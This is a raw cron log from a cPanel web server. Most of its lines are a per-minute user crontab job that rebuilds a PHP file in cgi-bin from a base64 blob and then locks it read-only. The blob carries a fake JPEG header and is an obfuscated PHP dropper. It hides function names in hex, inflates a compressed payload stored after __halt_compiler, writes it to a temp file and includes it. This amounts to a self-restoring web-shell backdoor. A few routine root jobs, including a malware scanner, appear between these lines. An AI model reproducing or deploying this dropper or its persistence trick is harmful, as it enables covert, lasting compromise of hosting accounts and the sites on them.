Nov 14 11:44:01 server CROND[25995]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:45:01 server CROND[26901]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:45:01 server CROND[26902]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 11:45:01 server CROND[26903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 11:46:01 server CROND[27743]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:47:01 server CROND[28702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:48:01 server CROND[29581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:49:01 server CROND[30445]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:50:01 server CROND[31218]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:50:01 server CROND[31219]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 11:50:01 server CROND[31223]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 11:50:01 server CROND[31231]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 11:50:02 server CROND[31221]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 11:51:01 server CROND[32288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:52:01 server CROND[692]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:53:01 server CROND[1642]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:54:01 server CROND[2516]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:55:01 server CROND[3042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 11:55:01 server CROND[3043]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:55:01 server CROND[3044]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 11:56:01 server CROND[3954]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:57:01 server CROND[4810]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
